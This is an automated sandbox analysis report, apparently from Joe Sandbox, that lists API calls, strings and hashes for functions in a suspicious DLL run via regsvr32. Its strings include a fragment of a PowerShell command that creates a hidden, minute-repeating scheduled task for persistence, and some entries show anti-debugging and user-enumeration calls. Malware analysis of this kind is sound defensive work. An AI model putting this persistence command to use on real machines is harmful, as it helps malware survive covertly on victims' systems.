Function 00007FFDFB21FD30 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32 ref: 00007FFDFB21FD77

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: QueryVirtual
String ID:
API String ID: 1804819252-0
Opcode ID: b372edb0a258e6b97ae2eb944439a346aae665cc869136da0d98477599e02d95
Instruction ID: dd3338b53383cec5a46c00ddc9824bc9f6ea76cf44e9847654ad91861a2d06f0
Opcode Fuzzy Hash: b372edb0a258e6b97ae2eb944439a346aae665cc869136da0d98477599e02d95
Instruction Fuzzy Hash: 0D71D322B0A64391EB209B11D420B7AA761BF55BD0F585636DE7E87BEDDF7CE2418300

Function 00007FFDFB220D8C Relevance: 1.4, APIs: 1, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB20F280: GetSystemInfo.KERNEL32 ref: 00007FFDFB20F2BA

Part of subcall function 00007FFDFB22403A: memcpy.MSVCRT ref: 00007FFDFB224229

memcpy.MSVCRT ref: 00007FFDFB220F5E

Part of subcall function 00007FFDFB2267E0: memcpy.MSVCRT ref: 00007FFDFB2268FE
Part of subcall function 00007FFDFB2267E0: memcpy.MSVCRT ref: 00007FFDFB226911

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy$InfoSystem
String ID:
API String ID: 1915069931-0
Opcode ID: b125d7cbe2ed47b59a401ecfbabacdc7d9d9a2e2ac67f7f5e1e7e73b58fea5ed
Instruction ID: c73de8275a88f8b8fb303f6ee5285c1181fe1c00f50d74cad2b186dfabec0820
Opcode Fuzzy Hash: b125d7cbe2ed47b59a401ecfbabacdc7d9d9a2e2ac67f7f5e1e7e73b58fea5ed
Instruction Fuzzy Hash: 68914C62B0EAC284EB749B01E051BEBA361FB847C4F848431DE9D87AADDF6DD1848740

Function 00007FFDFB22403A Relevance: 1.4, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB302850: RtlCaptureContext.KERNEL32 ref: 00007FFDFB3028E2
Part of subcall function 00007FFDFB302850: RtlUnwindEx.KERNEL32 ref: 00007FFDFB30291F
Part of subcall function 00007FFDFB302850: abort.MSVCRT ref: 00007FFDFB302925
Part of subcall function 00007FFDFB302850: RaiseException.KERNEL32 ref: 00007FFDFB302962

memcpy.MSVCRT ref: 00007FFDFB224229

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CaptureContextExceptionRaiseUnwindabortmemcpy
String ID:
API String ID: 3394368889-0
Opcode ID: dcf6e42176257190d2ea28c84ae0f5ad6bae0c4b1c7225c15cdac4997257e49a
Instruction ID: b54882c469696f24675ddd59b745b1b118321787982720528e3eeba2768a97f1
Opcode Fuzzy Hash: dcf6e42176257190d2ea28c84ae0f5ad6bae0c4b1c7225c15cdac4997257e49a
Instruction Fuzzy Hash: 3451F522709B8681FB258B15E501BA9A770FF95BC4F845121EFAC57BA9DF3CE081C700

Function 00007FFDFB224049 Relevance: 1.4, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB302850: RtlCaptureContext.KERNEL32 ref: 00007FFDFB3028E2
Part of subcall function 00007FFDFB302850: RtlUnwindEx.KERNEL32 ref: 00007FFDFB30291F
Part of subcall function 00007FFDFB302850: abort.MSVCRT ref: 00007FFDFB302925
Part of subcall function 00007FFDFB302850: RaiseException.KERNEL32 ref: 00007FFDFB302962

memcpy.MSVCRT ref: 00007FFDFB224229

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CaptureContextExceptionRaiseUnwindabortmemcpy
String ID:
API String ID: 3394368889-0
Opcode ID: 29c59bfd3d6a36017537bf692beed53b5e9baf39cecaae161d8e311c31c14ee0
Instruction ID: f0e8a5dbbff845d12131f02db3025ee8a01d8a0b493745aba0536c9290133b94
Opcode Fuzzy Hash: 29c59bfd3d6a36017537bf692beed53b5e9baf39cecaae161d8e311c31c14ee0
Instruction Fuzzy Hash: 6A51E422B19A8681FB258F19E401BE9A760FF95B84F845121EFAC577A9DF3DE0818700

Function 00007FFDFB20F090 Relevance: 1.4, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FFDFB20F18E

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 484252aaa7a447837e4c2c39fcd1ac803d7f0dd6a1f956475b7de7b5046d59a3
Instruction ID: 573495821e32f85ae958cd8da49d34f373f053210d7fc3281904d0aaef7dbee3
Opcode Fuzzy Hash: 484252aaa7a447837e4c2c39fcd1ac803d7f0dd6a1f956475b7de7b5046d59a3
Instruction Fuzzy Hash: 1841E827B19B8281E7109B1AE41076AE360FF957D4F184232EFDDA36A9EF3CD6458700

Function 00007FFDFB21CED0 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FFDFB21D002

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 68da43908b9d5c6d8e58e5f0b8461580bb4fe132dd54bd1c91f095dce0a33760
Instruction ID: 9ac362070b51fd1769a8f16e0bc81aa7137beccd032b7c59029050f5ba19db27
Opcode Fuzzy Hash: 68da43908b9d5c6d8e58e5f0b8461580bb4fe132dd54bd1c91f095dce0a33760
Instruction Fuzzy Hash: FE314D59B0A64B12EF04DB1659106B652816B09BF0FA05B32CE7D8F7E8DE3CE1058300

Non-executed Functions

Function 00007FFDFB206890 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 472librarynativeloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FFDFB2068BE
GetModuleHandleA.KERNEL32 ref: 00007FFDFB206943
LoadLibraryA.KERNEL32 ref: 00007FFDFB206950
GetProcAddress.KERNEL32 ref: 00007FFDFB2069F9
GetModuleHandleA.KERNEL32 ref: 00007FFDFB206AC8
GetProcAddress.KERNEL32 ref: 00007FFDFB206B68
AddVectoredExceptionHandler.KERNEL32 ref: 00007FFDFB206BCC
NtQueryInformationProcess.NTDLL ref: 00007FFDFB206C06

Part of subcall function 00007FFDFB2DF530: memcpy.MSVCRT ref: 00007FFDFB2DF594

NtQuerySystemInformation.NTDLL ref: 00007FFDFB206C5F

Strings

ymR:, xrefs: 00007FFDFB206AEE
called `Result::unwrap()` on an `Err` value, xrefs: 00007FFDFB20705C, 00007FFDFB20709E, 00007FFDFB2070DD, 00007FFDFB20711C

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: AddressHandleInformationModuleProcQuery$ExceptionHandlerLibraryLoadProcessSystemVectoredmemcpymemset
String ID: called `Result::unwrap()` on an `Err` value$ymR:
API String ID: 4247985971-3140955088
Opcode ID: 772a93542f744c3f37992e2da3216b7894e6f1b7ab3045b291bba1e61d04605e
Instruction ID: cb9e8912b9b5dc4bb96cdc6bd01b615428802783ae18f77dfa433c859cd6622d
Opcode Fuzzy Hash: 772a93542f744c3f37992e2da3216b7894e6f1b7ab3045b291bba1e61d04605e
Instruction Fuzzy Hash: E5327D2271AB8282E7219B15E460BAAA7A0FB85784F484135EEDD47BE9DF7DE045C700

Function 00007FFDFB22B9F0 Relevance: 24.5, APIs: 16, Instructions: 465COMMON

Download Yara Rule

APIs

NetUserEnum.NETAPI32 ref: 00007FFDFB22BB17
NetUserGetInfo.NETAPI32 ref: 00007FFDFB22BB8D

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: User$EnumInfo
String ID:
API String ID: 2388768862-0
Opcode ID: 3039e20b0ed68ae4d2ab150ae0e976aec51ac587ed886270c5d83566efbef080
Instruction ID: 1365d4953a4040d3f1208b8bdcf4aebaf16190f1b5d762e922b4d2a63f6478fc
Opcode Fuzzy Hash: 3039e20b0ed68ae4d2ab150ae0e976aec51ac587ed886270c5d83566efbef080
Instruction Fuzzy Hash: CE224E26B0ABC681EB709B15E4507EAA3A0FB84B84F844135DEAD87BADDF3CD545C740

Function 00007FFDFB2060E0 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 352libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FFDFB206294
GetProcAddress.KERNEL32 ref: 00007FFDFB206302
LoadLibraryA.KERNEL32 ref: 00007FFDFB206352
GetProcAddress.KERNEL32 ref: 00007FFDFB2063C7
LoadLibraryA.KERNEL32 ref: 00007FFDFB206423
GetProcAddress.KERNEL32 ref: 00007FFDFB2064A0
LoadLibraryA.KERNEL32 ref: 00007FFDFB2064FC
GetProcAddress.KERNEL32 ref: 00007FFDFB206567
LoadLibraryA.KERNEL32 ref: 00007FFDFB2065C3
GetProcAddress.KERNEL32 ref: 00007FFDFB206616
CreateEventW.KERNEL32 ref: 00007FFDFB206670
WaitForSingleObject.KERNEL32 ref: 00007FFDFB206682

Strings

L ") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName '' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries), xrefs: 00007FFDFB206235

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: AddressProc$LibraryLoad$CreateEventHandleModuleObjectSingleWait
String ID: L ") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName '' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)
API String ID: 2726895772-433569715
Opcode ID: bf69bdb1d7f2675f84f86c4ec97c46a2f813a296ea921ac4525269e720b5fafd
Instruction ID: d9fc8e4b58b7b1eebe6f75096b324035a0c2519e890f451510b31aabe346b41d
Opcode Fuzzy Hash: bf69bdb1d7f2675f84f86c4ec97c46a2f813a296ea921ac4525269e720b5fafd
Instruction Fuzzy Hash: 69F1A42261DA8186DB61DB21E45046BBBA0FBC9784F548336FADD47BA9DF3CD641CB00

Function 00007FFDFB216163 Relevance: 16.3, APIs: 7, Strings: 2, Instructions: 542fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFDFB21626E
CreateFileW.KERNEL32 ref: 00007FFDFB2163A0
GetDiskFreeSpaceExW.KERNEL32 ref: 00007FFDFB2163ED
DeviceIoControl.KERNEL32 ref: 00007FFDFB216487
memcmp.MSVCRT ref: 00007FFDFB2170D5

Strings

OI, xrefs: 00007FFDFB2170AC
TI, xrefs: 00007FFDFB2170A7

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ControlCreateDeviceDiskFileFreeSpacememcmpmemcpy
String ID: OI$TI
API String ID: 230461707-128833160
Opcode ID: bf1e5939c47eb74e637d5fb777439dc4fbeb881023a076ee875a63158673ee82
Instruction ID: 2534f3f4c83ac8610e4b15e989efb6f2eecb260c0063de5d22a955f63cdd1d68
Opcode Fuzzy Hash: bf1e5939c47eb74e637d5fb777439dc4fbeb881023a076ee875a63158673ee82
Instruction Fuzzy Hash: 8B427222B0E6C390F7719B01E424BEE66A0FB85784F045135DAAC86AEDDF7DD084DB41

Function 00007FFDFB2ABE80 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 411synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FFDFB2ABF05
RtlNtStatusToDosError.NTDLL ref: 00007FFDFB2ABF2F
memcpy.MSVCRT ref: 00007FFDFB2AC1E4

Strings

cygw, xrefs: 00007FFDFB2AC518
msys, xrefs: 00007FFDFB2AC4A9
win-, xrefs: 00007FFDFB2AC51F
-pty, xrefs: 00007FFDFB2AC4C3, 00007FFDFB2AC4F8

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ErrorObjectSingleStatusWaitmemcpy
String ID: -pty$cygw$msys$win-
API String ID: 2933437151-1440016460
Opcode ID: 8f02847d1ed428cd4c7577fc284afbe1914e79c24072a468abdfbab29ae796be
Instruction ID: 8c158235c21782d8188f597112934c0e97c8665f31c01fb91d6d1a29822584bb
Opcode Fuzzy Hash: 8f02847d1ed428cd4c7577fc284afbe1914e79c24072a468abdfbab29ae796be
Instruction Fuzzy Hash: 6402D522B0A7829AF7609B68DC60BF92794EB44388F544135EA6D8BBDDDF3CD585C300

Function 00007FFDFB21A660 Relevance: 6.4, APIs: 2, Strings: 2, Instructions: 442COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FFDFB21A7F7

Strings

H, xrefs: 00007FFDFB21A806
H, xrefs: 00007FFDFB21AA40

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memset
String ID: H$H
API String ID: 2221118986-136785262
Opcode ID: f29fe778d85692410cca65d8c0efbf48e7a3d409e8377b04913b479e708d458f
Instruction ID: 4f9a0ba9177dbbdf45c608558beed9ba77f18d0c0e56c74717c1946323888020
Opcode Fuzzy Hash: f29fe778d85692410cca65d8c0efbf48e7a3d409e8377b04913b479e708d458f
Instruction Fuzzy Hash: 23020723B19B8682DB118F299410AB96760FB56BA4F54A722DFBE433E5DF3DD185C300

Function 00007FFDFB21ADA0 Relevance: 5.5, APIs: 4, Instructions: 473COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FFDFB21AF51

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 17ba022a7d551e7a887192520d722618291e79d5bf0b22fceea55ecc7af7dec7
Instruction ID: 9a27878d26cdd768a5f8844fe015426b9de2cc885a0971e96bbb2efa43606ba5
Opcode Fuzzy Hash: 17ba022a7d551e7a887192520d722618291e79d5bf0b22fceea55ecc7af7dec7
Instruction Fuzzy Hash: 83220712E1ABC582E7018B2885157F92720FBA9798F45B334DFBD562E6EF39E195C300

Function 00007FFDFB2694A0 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

BCryptGenRandom.BCRYPT(?,00000000,00000000,00007FFDFB268FE5,?,?,00000000,00007FFDFB265B81), ref: 00007FFDFB2694E2
SystemFunction036.ADVAPI32(?,00000000,00000000,00007FFDFB268FE5,?,?,00000000,00007FFDFB265B81), ref: 00007FFDFB2694F5

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CryptFunction036RandomSystem
String ID:
API String ID: 1232939966-0
Opcode ID: 8c3f8ec892ce3af16b0af55f2ba24b1024e06f975336119adb2d3dc77502f212
Instruction ID: a106d8b4bee0ffedd33aa56b52b6c66b8aa50bc3c72a8b124ca73e94675edce7
Opcode Fuzzy Hash: 8c3f8ec892ce3af16b0af55f2ba24b1024e06f975336119adb2d3dc77502f212
Instruction Fuzzy Hash: 0DF0F062F1B19649FF74246B5E19EB195820F187F4C284331AD3CC3AEAAC2858825210

Function 00007FFDFB215BE0 Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FFDFB215C07
RtlGetVersion.NTDLL ref: 00007FFDFB215C19

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Versionmemset
String ID:
API String ID: 3136939366-0
Opcode ID: 92f276b95c9412c8838e8edfa986efb751212cd665cf99de9ccdbafe4ee7030b
